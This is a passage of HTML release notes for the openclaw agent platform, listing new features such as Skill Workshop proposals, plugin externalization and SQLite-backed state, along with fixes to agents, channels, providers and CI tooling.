<li>iMessage monitor state, inbound queues, and plugin install ledgers moved toward SQLite-backed state so restarts and local monitors recover with less duplicate filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Release, CI, Docker, E2E, plugin install, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, status polling, child workflow waits, docker package cleanup, and rollback snapshots so failures report bounded proof instead of stalling.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery, and refresh the ClawHub showcase cards. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558517307" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88734" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88734/hovercard" href="https://github.com/openclaw/openclaw/pull/88734">#88734</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>Skills: let the <code>skill_workshop</code> agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the <code>skill_workshop</code> agent tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skill Workshop: add the Control UI navigation, styled dashboard, proposal today view, revision dialog, file preview modal, searchable preview files, reusable session handoff, and localized strings.</li>
<li>Plugins: externalize Tokenjuice as the official <code>@openclaw/tokenjuice</code> plugin with npm and ClawHub publish metadata.</li>
<li>Plugins: externalize the GitHub Copilot agent runtime as the official <code>@openclaw/copilot</code> plugin with npm and ClawHub publish metadata.</li>
<li>iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>iOS: support native iPad display layouts.</li>
<li>Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>)</li>
<li>Workboard: wire task-backed board runs and show task comments in the edit modal.</li>
<li>Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549263089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88043/hovercard" href="https://github.com/openclaw/openclaw/pull/88043">#88043</a>)</li>
<li>Code mode: add MCP API files and docs for code-mode integrations.</li>
<li>Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395906736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78748/hovercard" href="https://github.com/openclaw/openclaw/pull/78748">#78748</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</li>
<li>Control UI: add calmer chat composer controls, local draft typing state, and first-output latency instrumentation for active chat entry. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Plugins: persist the plugin install index in SQLite so installed package lookup survives reloads with less filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>)</li>
<li>Providers: add MiniMax M3 model support. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
<li>Doctor: add disk space health checks and stabilize post-upgrade JSON probes.</li>
<li>Channels: store inbound queues in SQLite and migrate iMessage monitor state to SQLite-backed tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/TUI: keep local custom provider runs from loading plugin runtime and auth alias metadata when plugins are disabled.</li>
<li>Agents/TUI: restore in-flight TUI run switch-back behavior, keep no-policy native hook fallback available, guard vanished workspaces, and keep lightweight isolated subagents lightweight.</li>
<li>Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.</li>
<li>Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.</li>
<li>Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, prevent aborted app-server turn handles from lingering, migrate legacy OpenAI Codex <code>lastGood</code> auth state, and preserve workspace/session metadata through ACP runtime refactors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4555235950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88405/hovercard" href="https://github.com/openclaw/openclaw/issues/88405">#88405</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558386594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88724/hovercard" href="https://github.com/openclaw/openclaw/pull/88724">#88724</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558459446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88730" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88730/hovercard" href="https://github.com/openclaw/openclaw/pull/88730">#88730</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when <code>skill_workshop</code> is available. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/auth: write auth profiles atomically, dispatch auth failures by type, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565425402" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89181" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89181/hovercard" href="https://github.com/openclaw/openclaw/pull/89181">#89181</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill <code>apiKey</code> SecretRefs cannot abort embedded or channel turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>CLI: avoid live catalog validation during <code>openclaw agents add</code>, so adding a secondary agent no longer depends on provider catalog availability. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370229397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76284/hovercard" href="https://github.com/openclaw/openclaw/issues/76284">#76284</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CLI: keep <code>plugins list --json</code> on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.</li>
<li>CLI/desktop: bridge WSL clipboard operations through the shell, recognize manual-update launchd jobs, and keep machine-readable startup output parseable during progress setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558805270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88764/hovercard" href="https://github.com/openclaw/openclaw/pull/88764">#88764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558107169" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88689" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88689/hovercard" href="https://github.com/openclaw/openclaw/pull/88689">#88689</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexzhu0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexzhu0">@alexzhu0</a>.</li>
<li>Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.</li>
<li>Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.</li>
<li>Plugins: preserve npm plugin roots after blocked installs, skip plugin-local <code>openclaw</code> peer symlinks during rollback snapshots, relink those peers after restore, isolate cached tool runtime siblings, and isolate web-provider factory failures so one bad plugin does not poison sibling runtime paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375645088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77237" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77237/hovercard" href="https://github.com/openclaw/openclaw/pull/77237">#77237</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559215204" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88807/hovercard" href="https://github.com/openclaw/openclaw/pull/88807">#88807</a>)</li>
<li>Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554018071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88285/hovercard" href="https://github.com/openclaw/openclaw/pull/88285">#88285</a>)</li>
<li>Cron: keep update delivery validation scoped, harden restart state, and retire MCP runtimes on isolated cron cleanup.</li>
<li>Memory: serialize QMD update/embed writes per store, warn before gateway watcher FD pressure, reduce Linux watcher fan-out, retry transient FileProvider-backed reads, preserve phase signals on read errors, harden envelope metadata sanitization, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259457800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66339/hovercard" href="https://github.com/openclaw/openclaw/issues/66339">#66339</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510532697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85931" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85931/hovercard" href="https://github.com/openclaw/openclaw/pull/85931">#85931</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565501615" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89185/hovercard" href="https://github.com/openclaw/openclaw/pull/89185">#89185</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565570172" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89188" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89188/hovercard" href="https://github.com/openclaw/openclaw/pull/89188">#89188</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502554299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85351" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85351/hovercard" href="https://github.com/openclaw/openclaw/pull/85351">#85351</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amittell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amittell">@amittell</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.</li>
<li>Providers: resolve Google defaults to <code>google-generative-ai</code>, register Vertex static catalog rows, align Foundry reasoning metadata, skip DeepSeek V4 thinking params on Foundry fallback, use MiniMax account OAuth endpoints, preserve Copilot Claude 1M capabilities, suppress disabled Ollama reasoning output, keep OpenAI stop-finished tool calls, and avoid replay ids when the Responses store is disabled. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>)</li>
<li>Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.</li>
<li>Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.</li>
<li>Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.</li>
<li>Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>)</li>
<li>Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.</li>
<li>Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.</li>
<li>Release/CI/E2E: bound release candidate reads, beta smoke REST calls, plugin npm verification commands, changelog restore, cross-OS process groups, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Telegram credential timeouts, Control UI i18n and CLI startup metadata generation, Vitest routing, dependency guard admin approvals, child workflow failure detection, docker package cleanup, and mainline test flakes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551354671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88127/hovercard" href="https://github.com/openclaw/openclaw/pull/88127">#88127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551653681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88137/hovercard" href="https://github.com/openclaw/openclaw/pull/88137">#88137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552032597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88155" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88155/hovercard" href="https://github.com/openclaw/openclaw/pull/88155">#88155</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552192113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88160/hovercard" href="https://github.com/openclaw/openclaw/pull/88160">#88160</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4560993509" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88966" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88966/hovercard" href="https://github.com/openclaw/openclaw/pull/88966">#88966</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Release/CI/E2E: keep Kitchen Sink live plugin MCP probes resolving source-checkout workspace packages and align the live gauntlet with current Kitchen Sink diagnostics.</li>
<li>Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.</li>
<li>Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.</li>
<li>Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.</li>
<li>Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.</li>
<li>Agents: accept hidden <code>sessions_send</code> body aliases before validation while keeping the model-facing <code>message</code> schema canonical. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553200827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88229" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88229/hovercard" href="https://github.com/openclaw/openclaw/pull/88229">#88229</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Chat/UI: preserve startup chat sends during history loading, unblock the initial Control UI chat send, stream chat deltas incrementally, skip markdown parsing while streaming, keep drafts local while typing, guard composer rerenders, honor Chromium executable overrides, and detect system Chromium for E2E. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels: preserve long Feishu streaming replies, send visible fallbacks when accepted Feishu turns produce no final reply, tolerate iMessage self-chat timestamp skew, preserve colon-prefixed slash commands in mention parsing, decode Nostr <code>npub</code> allowlists correctly, and suppress raw provider errors during channel delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545822590" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87896" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87896/hovercard" href="https://github.com/openclaw/openclaw/pull/87896">#87896</a>)</li>
<li>Config/status/doctor: skip unresolved shell references in state-dir dotenv files, resolve gateway auth secrets during deep status audits, respect explicit PI runtime policy, report runtime tool-schema errors, and keep post-upgrade JSON stable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554055557" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88288/hovercard" href="https://github.com/openclaw/openclaw/pull/88288">#88288</a>)</li>
<li>Gateway/session state: list commands from the Gateway plugin registry, harden MCP loopback tool schemas, hide phantom agent-store rows from <code>sessions.list</code>, make task persistence failures explicit, and carry session UUIDs on interactive dispatch events.</li>
<li>OpenAI/TTS: handle speed directives for OpenAI TTS voices. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348062227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74089" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74089/hovercard" href="https://github.com/openclaw/openclaw/pull/74089">#74089</a>)</li>
<li>CI/Crabbox: keep default runner capacity on the Azure credit-backed on-demand D4 lane with the Azure SSH port and a Git-independent full check job, so broad validation avoids low-priority spot quota stalls, hydrate port mismatches, non-Git hydrated workspaces, and stale AWS region hints.</li>
<li>CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.</li>
<li>CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.</li>
<li>CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.</li>
<li>CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.</li>
<li>CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.</li>
